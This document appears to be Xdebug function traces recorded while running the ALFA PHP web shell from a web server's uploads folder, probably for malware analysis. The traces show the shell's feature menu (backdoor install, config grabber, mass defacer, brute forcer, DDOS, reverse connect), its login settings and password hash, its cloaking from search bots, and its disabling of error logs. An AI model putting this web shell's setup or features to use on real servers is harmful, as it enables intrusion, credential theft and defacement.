5	458	0	0.068649	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_wtermsig'
5	458	1	0.068662	2804392
5	458	R			FALSE
5	459	0	0.068675	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_wstopsig'
5	459	1	0.068687	2804392
5	459	R			'pcntl_wstopsig'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_wstopsig'
5	460	0	0.068710	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_wstopsig'
5	460	1	0.068724	2804392
5	460	R			FALSE
5	461	0	0.068736	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_signal'
5	461	1	0.068749	2804392
5	461	R			'pcntl_signal'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_signal'
5	462	0	0.068772	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_signal'
5	462	1	0.068785	2804392
5	462	R			FALSE
5	463	0	0.068798	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_signal_get_handler'
5	463	1	0.068811	2804392
5	463	R			'pcntl_signal_get_handler'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_signal_get_handler'
5	464	0	0.068835	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_signal_get_handler'
5	464	1	0.068848	2804392
5	464	R			FALSE
5	465	0	0.068861	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_signal_dispatch'
5	465	1	0.068873	2804392
5	465	R			'pcntl_signal_dispatch'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_signal_dispatch'
5	466	0	0.068897	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_signal_dispatch'
5	466	1	0.068910	2804392
5	466	R			FALSE
5	467	0	0.068923	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_get_last_error'
5	467	1	0.068935	2804392
5	467	R			'pcntl_get_last_error'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_get_last_error'
5	468	0	0.068959	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_get_last_error'
5	468	1	0.068972	2804392
5	468	R			FALSE
5	469	0	0.068985	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_strerror'
5	469	1	0.068997	2804392
5	469	R			'pcntl_strerror'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_strerror'
5	470	0	0.069021	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_strerror'
5	470	1	0.069040	2804392
5	470	R			FALSE
5	471	0	0.069053	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_sigprocmask'
5	471	1	0.069066	2804392
5	471	R			'pcntl_sigprocmask'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_sigprocmask'
5	472	0	0.069090	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_sigprocmask'
5	472	1	0.069103	2804392
5	472	R			FALSE
5	473	0	0.069116	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_sigwaitinfo'
5	473	1	0.069128	2804392
5	473	R			'pcntl_sigwaitinfo'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_sigwaitinfo'
5	474	0	0.069152	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_sigwaitinfo'
5	474	1	0.069165	2804392
5	474	R			FALSE
5	475	0	0.069178	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_sigtimedwait'
5	475	1	0.069190	2804392
5	475	R			'pcntl_sigtimedwait'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_sigtimedwait'
5	476	0	0.069214	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_sigtimedwait'
5	476	1	0.069227	2804392
5	476	R			FALSE
5	477	0	0.069239	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_exec'
5	477	1	0.069256	2804392
5	477	R			'pcntl_exec'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_exec'
5	478	0	0.069280	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_exec'
5	478	1	0.069293	2804392
5	478	R			FALSE
5	479	0	0.069306	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_getpriority'
5	479	1	0.069318	2804392
5	479	R			'pcntl_getpriority'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_getpriority'
5	480	0	0.069342	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_getpriority'
5	480	1	0.069355	2804392
5	480	R			FALSE
5	481	0	0.069367	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_setpriority'
5	481	1	0.069380	2804392
5	481	R			'pcntl_setpriority'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_setpriority'
5	482	0	0.069404	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_setpriority'
5	482	1	0.069417	2804392
5	482	R			FALSE
5	483	0	0.069430	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_async_signals'
5	483	1	0.069442	2804392
5	483	R			'pcntl_async_signals'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_async_signals'
5	484	0	0.069465	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_async_signals'
5	484	1	0.069479	2804392
5	484	R			FALSE
5	485	0	0.069491	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	''
5	485	1	0.069503	2804392
5	485	R			''
4		A						/var/www/html/uploads/alfa.php	928	$d = ''
4	435	1	0.069526	2801512
4	435	R			'<span class="header_show_all">All Functions Accessible</span>'
4	486	0	0.069548	2803304	getenv	0		/var/www/html/uploads/alfa.php	1193	1	'SERVER_SOFTWARE'
4	486	1	0.069565	2803384
4	486	R			'Apache/2.4.52 (Ubuntu)'
3		A						/var/www/html/uploads/alfa.php	1210	$li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'proc'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'phpeval'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'sql'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'dumper'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'coldumper'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'hash'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'connect'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'zoneh'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'dos'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'safe'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'cgishell'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'ssiShell'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'cpcrack'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'portscanner'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'basedir'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'mail'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'ziper'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'deziper'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'IndexChanger'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'pwchanger'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'ShellInjectors'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'php2xml'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'cloudflare'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'Whmcs'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'symlink'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'MassDefacer'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'Crackers'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'searcher'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'config_grabber'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'fakepage'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'archive_manager'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'cmshijacker'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'remotedl'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'inbackdoor'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'whois'
3		A						/var/www/html/uploads/alfa.php	1216	$key = 'selfrm'
3	61	1	0.070423	2797568
3	487	0	0.070433	2797568	AlfaNum	1		/var/www/html/uploads/alfa.php	2561	7	8	9	10	7	6	5	4
3		A						/var/www/html/uploads/alfa.php	948	$args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3		A						/var/www/html/uploads/alfa.php	949	$alfax = []
3		A						/var/www/html/uploads/alfa.php	950	$find = []
3		A						/var/www/html/uploads/alfa.php	951	$i = 1
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 1
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 2
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 3
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 4
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 5
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 6
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 7
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 8
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 9
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	952	$alfax[] = 10
3		A						/var/www/html/uploads/alfa.php	951	$i++
3		A						/var/www/html/uploads/alfa.php	955	$find[] = 8
3		A						/var/www/html/uploads/alfa.php	955	$find[] = 9
3		A						/var/www/html/uploads/alfa.php	955	$find[] = 10
3		A						/var/www/html/uploads/alfa.php	955	$find[] = 7
3		A						/var/www/html/uploads/alfa.php	955	$find[] = 6
3		A						/var/www/html/uploads/alfa.php	955	$find[] = 5
3		A						/var/www/html/uploads/alfa.php	955	$find[] = 4
4	488	0	0.070716	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	1	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	488	1	0.070734	2799088
4	488	R			FALSE
4	489	0	0.070748	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	2	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	489	1	0.070765	2799088
4	489	R			FALSE
4	490	0	0.070778	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	3	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	490	1	0.070794	2799088
4	490	R			FALSE
4	491	0	0.070807	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	4	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	491	1	0.070823	2799088
4	491	R			TRUE
4	492	0	0.070836	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	5	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	492	1	0.070851	2799088
4	492	R			TRUE
4	493	0	0.070863	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	6	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	493	1	0.070878	2799088
4	493	R			TRUE
4	494	0	0.070890	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	7	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	494	1	0.070905	2799088
4	494	R			TRUE
4	495	0	0.070917	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	8	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	495	1	0.070931	2799088
4	495	R			TRUE
4	496	0	0.070943	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	9	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	496	1	0.070961	2799088
4	496	R			TRUE
4	497	0	0.070974	2799016	in_array	0		/var/www/html/uploads/alfa.php	959	2	10	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	497	1	0.070989	2799088
4	497	R			TRUE
3	487	1	0.071002	2797568
3	498	0	0.071010	2797568	alfafooter	1		/var/www/html/uploads/alfa.php	2563	0
4	499	0	0.071023	2797568	htmlspecialchars	0		/var/www/html/uploads/alfa.php	2293	1	'/var/www/html/uploads/'
4	499	1	0.071038	2797760
4	499	R			'/var/www/html/uploads/'
4	500	0	0.071054	2800640	date	0		/var/www/html/uploads/alfa.php	2306	1	'Y'
4	500	1	0.071088	2800928
4	500	R			'2023'
3	498	1	0.072793	2813952
2	60	1	0.072805	2813952
			0.072843	2625864
TRACE END   [2023-02-12 20:13:38.620005]

data/traces/67eba714f23ee4b7c9caf7136cb983db_trace-1676258854.8484.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:28:00.746238]
1	0	1	0.000149	393528
1	3	0	0.011610	2765744	{main}	1		/var/www/html/uploads/alfa.phtml	0	0
1		A						/var/www/html/uploads/alfa.phtml	9	GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/alfa.phtml	19	$CWppUDJxuf = 'function_exists'
1		A						/var/www/html/uploads/alfa.phtml	20	$aztJtafUXm = 'charCodeAt'
1		A						/var/www/html/uploads/alfa.phtml	21	$OVpGNqqFZs = 'eval'
1		A						/var/www/html/uploads/alfa.phtml	22	$psDEwGhsxg = 'gzinflate'
2	4	0	0.011740	2765744	function_exists	0		/var/www/html/uploads/alfa.phtml	24	1	'base64_encode'
2	4	1	0.011755	2765784
2	4	R			TRUE
2	5	0	0.011771	2765744	function_exists	0		/var/www/html/uploads/alfa.phtml	72	1	'base64_decode'
2	5	1	0.011784	2765784
2	5	R			TRUE
1		A						/var/www/html/uploads/alfa.phtml	126	GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/alfa.phtml	128	$key = 'username'
2	6	0	0.011832	2765720	substr	0		/var/www/html/uploads/alfa.phtml	130	3	'username'	0	2
2	6	1	0.011847	2765848
2	6	R			'us'
1		A						/var/www/html/uploads/alfa.phtml	130	$prefix = 'us'
1		A						/var/www/html/uploads/alfa.phtml	133	GLOBALS['DB_NAME']['user'] = 'alfa'
1		A						/var/www/html/uploads/alfa.phtml	134	GLOBALS['DB_NAME']['user_rand'] = 'username'
1		A						/var/www/html/uploads/alfa.phtml	128	$key = 'password'
2	7	0	0.011911	2766448	substr	0		/var/www/html/uploads/alfa.phtml	130	3	'password'	0	2
2	7	1	0.011924	2766576
2	7	R			'pa'
1		A						/var/www/html/uploads/alfa.phtml	130	$prefix = 'pa'
1		A						/var/www/html/uploads/alfa.phtml	138	GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1		A						/var/www/html/uploads/alfa.phtml	139	GLOBALS['DB_NAME']['pass_rand'] = 'password'
1		A						/var/www/html/uploads/alfa.phtml	128	$key = 'safe_mode'
2	8	0	0.011985	2766448	substr	0		/var/www/html/uploads/alfa.phtml	130	3	'safe_mode'	0	2
2	8	1	0.011999	2766576
2	8	R			'sa'
1		A						/var/www/html/uploads/alfa.phtml	130	$prefix = 'sa'
1		A						/var/www/html/uploads/alfa.phtml	143	GLOBALS['DB_NAME']['safemode'] = '0'
1		A						/var/www/html/uploads/alfa.phtml	144	GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1		A						/var/www/html/uploads/alfa.phtml	128	$key = 'login_page'
2	9	0	0.012058	2766448	substr	0		/var/www/html/uploads/alfa.phtml	130	3	'login_page'	0	2
2	9	1	0.012072	2766576
2	9	R			'lo'
1		A						/var/www/html/uploads/alfa.phtml	130	$prefix = 'lo'
1		A						/var/www/html/uploads/alfa.phtml	148	GLOBALS['DB_NAME']['login_page'] = '403'
1		A						/var/www/html/uploads/alfa.phtml	149	GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1		A						/var/www/html/uploads/alfa.phtml	128	$key = 'show_icons'
2	10	0	0.012131	2766448	substr	0		/var/www/html/uploads/alfa.phtml	130	3	'show_icons'	0	2
2	10	1	0.012145	2766576
2	10	R			'sh'
1		A						/var/www/html/uploads/alfa.phtml	130	$prefix = 'sh'
1		A						/var/www/html/uploads/alfa.phtml	153	GLOBALS['DB_NAME']['show_icons'] = '1'
1		A						/var/www/html/uploads/alfa.phtml	154	GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1		A						/var/www/html/uploads/alfa.phtml	128	$key = 'post_encryption'
2	11	0	0.012204	2766448	substr	0		/var/www/html/uploads/alfa.phtml	130	3	'post_encryption'	0	2
2	11	1	0.012218	2766576
2	11	R			'po'
1		A						/var/www/html/uploads/alfa.phtml	130	$prefix = 'po'
1		A						/var/www/html/uploads/alfa.phtml	158	GLOBALS['DB_NAME']['post_encryption'] = FALSE
1		A						/var/www/html/uploads/alfa.phtml	159	GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1		A						/var/www/html/uploads/alfa.phtml	128	$key = 'cgi_api'
2	12	0	0.012278	2766448	substr	0		/var/www/html/uploads/alfa.phtml	130	3	'cgi_api'	0	2
2	12	1	0.012292	2766576
2	12	R			'cg'
1		A						/var/www/html/uploads/alfa.phtml	130	$prefix = 'cg'
1		A						/var/www/html/uploads/alfa.phtml	163	GLOBALS['DB_NAME']['cgi_api'] = TRUE
1		A						/var/www/html/uploads/alfa.phtml	164	GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1		A						/var/www/html/uploads/alfa.phtml	172	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	13	0	0.012374	2767088	implode	0		/var/www/html/uploads/alfa.phtml	172	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	13	1	0.012396	2767248
2	13	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2	14	0	0.012414	2767184	preg_match	0		/var/www/html/uploads/alfa.phtml	172	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i'	'python-requests/2.25.1'
2	14	1	0.012435	2767248
2	14	R			0
2	15	0	0.012450	2767088	define	0		/var/www/html/uploads/alfa.phtml	179	2	'__ALFA_VERSION__'	'4.1'
2	15	1	0.012464	2767192
2	15	R			TRUE
2	16	0	0.012477	2767120	define	0		/var/www/html/uploads/alfa.phtml	180	2	'__ALFA_UPDATE__'	'2'
2	16	1	0.012490	2767224
2	16	R			TRUE
2	17	0	0.012503	2767152	define	0		/var/www/html/uploads/alfa.phtml	181	2	'__ALFA_CODE_NAME__'	'Tesla'
2	17	1	0.012516	2767256
2	17	R			TRUE
2	18	0	0.012528	2767184	define	0		/var/www/html/uploads/alfa.phtml	182	2	'__ALFA_DATA_FOLDER__'	'ALFA_DATA'
2	18	1	0.012542	2767288
2	18	R			TRUE
2	19	0	0.012556	2767216	define	0		/var/www/html/uploads/alfa.phtml	183	2	'__ALFA_POST_ENCRYPTION__'	FALSE
2	19	1	0.012570	2767320
2	19	R			TRUE
2	20	0	0.012583	2767248	define	0		/var/www/html/uploads/alfa.phtml	184	2	'__ALFA_SECRET_KEY__'	''
2	20	1	0.012597	2767352
2	20	R			TRUE
1		A						/var/www/html/uploads/alfa.phtml	185	GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
2	21	0	0.012733	2767280	preg_replace	0		/var/www/html/uploads/alfa.phtml	511	3	'!\\(\\d+\\)\\s.*!'	''	'/var/www/html/uploads/alfa.phtml'
2	21	1	0.012750	2767376
2	21	R			'/var/www/html/uploads/alfa.phtml'
2	22	0	0.012765	2767280	trim	0		/var/www/html/uploads/alfa.phtml	511	1	'/var/www/html/uploads/alfa.phtml'
2	22	1	0.012777	2767312
2	22	R			'/var/www/html/uploads/alfa.phtml'
2	23	0	0.012792	2767280	str_replace	0		/var/www/html/uploads/alfa.phtml	511	3	'\\'	'/'	'/var/www/html/uploads/alfa.phtml'
2	23	1	0.012807	2767376
2	23	R			'/var/www/html/uploads/alfa.phtml'
1		A						/var/www/html/uploads/alfa.phtml	511	GLOBALS['__file_path'] = '/var/www/html/uploads/alfa.phtml'
1		A						/var/www/html/uploads/alfa.phtml	512	$config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2	24	0	0.012855	2767656	session_write_close	0		/var/www/html/uploads/alfa.phtml	514	0
2	24	1	0.012868	2767656
2	24	R			FALSE
2	25	0	0.012881	2767656	ignore_user_abort	0		/var/www/html/uploads/alfa.phtml	515	1	TRUE
2	25	1	0.012896	2767720
2	25	R			0
2	26	0	0.012908	2767688	set_time_limit	0		/var/www/html/uploads/alfa.phtml	516	1	0
2	26	1	0.012925	2767752
2	26	R			FALSE
2	27	0	0.012938	2767720	ini_set	0		/var/www/html/uploads/alfa.phtml	517	2	'memory_limit'	'-1'
2	27	1	0.012953	2767824
2	27	R			'128M'
2	28	0	0.012966	2767720	ini_set	0		/var/www/html/uploads/alfa.phtml	518	2	'upload_max_filesize'	'9999m'
2	28	1	0.012981	2767792
2	28	R			FALSE
2	29	0	0.012996	2767720	error_reporting	0		/var/www/html/uploads/alfa.phtml	853	1	32759
2	29	1	0.013009	2767792
2	29	R			0
2	30	0	0.013021	2767752	ini_set	0		/var/www/html/uploads/alfa.phtml	854	2	'error_log'	NULL
2	30	1	0.013040	2767824
2	30	R			''
2	31	0	0.013054	2767752	ini_set	0		/var/www/html/uploads/alfa.phtml	855	2	'log_errors'	0
2	31	1	0.013067	2767824
2	31	R			'1'
2	32	0	0.013080	2767752	ini_set	0		/var/www/html/uploads/alfa.phtml	856	2	'max_execution_time'	0
2	32	1	0.013093	2767792
2	32	R			'0'
2	33	0	0.013106	2767720	ini_set	0		/var/www/html/uploads/alfa.phtml	857	2	'magic_quotes_runtime'	0
2	33	1	0.013119	2767792
2	33	R			FALSE
2	34	0	0.013132	2767720	set_time_limit	0		/var/www/html/uploads/alfa.phtml	858	1	0
2	34	1	0.013144	2767784
2	34	R			FALSE
2	35	0	0.013157	2767752	function_exists	0		/var/www/html/uploads/alfa.phtml	859	1	'set_magic_quotes_runtime'
2	35	1	0.013171	2767792
2	35	R			FALSE
1		A						/var/www/html/uploads/alfa.phtml	875	$default_action = 'FilesMan2'
1		A						/var/www/html/uploads/alfa.phtml	876	$default_use_ajax = TRUE
1		A						/var/www/html/uploads/alfa.phtml	877	$default_charset = 'Windows-1251'
2	36	0	0.013217	2767752	substr	0		/var/www/html/uploads/alfa.phtml	878	3	'Linux'	0	3
2	36	1	0.013231	2767880
